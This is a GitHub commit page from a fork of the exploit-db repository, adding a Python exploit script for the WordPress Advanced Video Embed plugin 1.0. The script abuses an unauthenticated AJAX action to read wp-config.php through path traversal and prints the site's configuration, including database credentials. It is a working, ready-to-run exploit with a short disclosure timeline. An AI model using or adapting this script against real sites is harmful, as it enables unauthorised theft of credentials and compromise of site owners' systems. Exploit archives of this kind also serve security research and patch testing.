forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
1 new exploits Microsoft Windows 2003/XP - AFD.sys Privilege Escalation Exploit (K-plugin) Microsoft Windows 2003/XP - afd.sys Privilege Escalation Exploit (K-plugin) Microsoft Windows XP - AFD.sys Local Kernel DoS Exploit Microsoft Windows XP - afd.sys Local Kernel DoS Exploit Microsoft Windows XP/2003 Afd.sys - Local Privilege Escalation Exploit (MS11-080) Microsoft Windows XP/2003 - afd.sys Local Privilege Escalation Exploit (MS11-080) Microsoft Windows - AFD.SYS Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows - afd.sys Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows 7 x64 - AFD.SYS Privilege Escalation (MS14-040) Microsoft Windows 7 x64 - afd.sys Privilege Escalation (MS14-040) WordPress Advanced Video Plugin 1.0 - Local File Inclusion (LFI)
- Loading branch information
Offensive Security
committed
Apr 4, 2016
1 parent
3b93501
commit 5a85093
Showing
2 changed files
with
60 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
#!/usr/bin/env python | ||
|
||
# Exploit Title: Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation | ||
# Google Dork: N/A | ||
# Date: 04/01/2016 | ||
# Exploit Author: evait security GmbH | ||
# Vendor Homepage: arshmultani - http://dscom.it/ | ||
# Software Link: https://wordpress.org/plugins/advanced-video-embed-embed-videos-or-playlists/ | ||
# Version: 1.0 | ||
# Tested on: Linux Apache / Wordpress 4.2.2 | ||
|
||
# Timeline | ||
# 03/24/2016 - Bug discovered | ||
# 03/24/2016 - Initial notification of vendor | ||
# 04/01/2016 - No answer from vendor, public release of bug | ||
|
||
|
||
# Vulnerable Code (/inc/classes/class.avePost.php) Line 57: | ||
|
||
# function ave_publishPost(){ | ||
# $title = $_REQUEST['title']; | ||
# $term = $_REQUEST['term']; | ||
# $thumb = $_REQUEST['thumb']; | ||
# <snip> | ||
# Line 78: | ||
# $image_data = file_get_contents($thumb); | ||
|
||
|
||
# POC - http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH] | ||
|
||
# Exploit - Print the content of wp-config.php in terminal (default Wordpress config) | ||
|
||
import random | ||
import urllib2 | ||
import re | ||
|
||
url = "http://127.0.0.1/wordpress" # insert url to wordpress | ||
|
||
randomID = long(random.random() * 100000000000000000L) | ||
|
||
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php') | ||
content = objHtml.readlines() | ||
for line in content: | ||
numbers = re.findall(r'\d+',line) | ||
id = numbers[-1] | ||
id = int(id) / 10 | ||
|
||
objHtml = urllib2.urlopen(url + '/?p=' + str(id)) | ||
content = objHtml.readlines() | ||
|
||
for line in content: | ||
if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line: | ||
urls=re.findall('"(https?://.*?)"', line) | ||
print urllib2.urlopen(urls[0]).read() |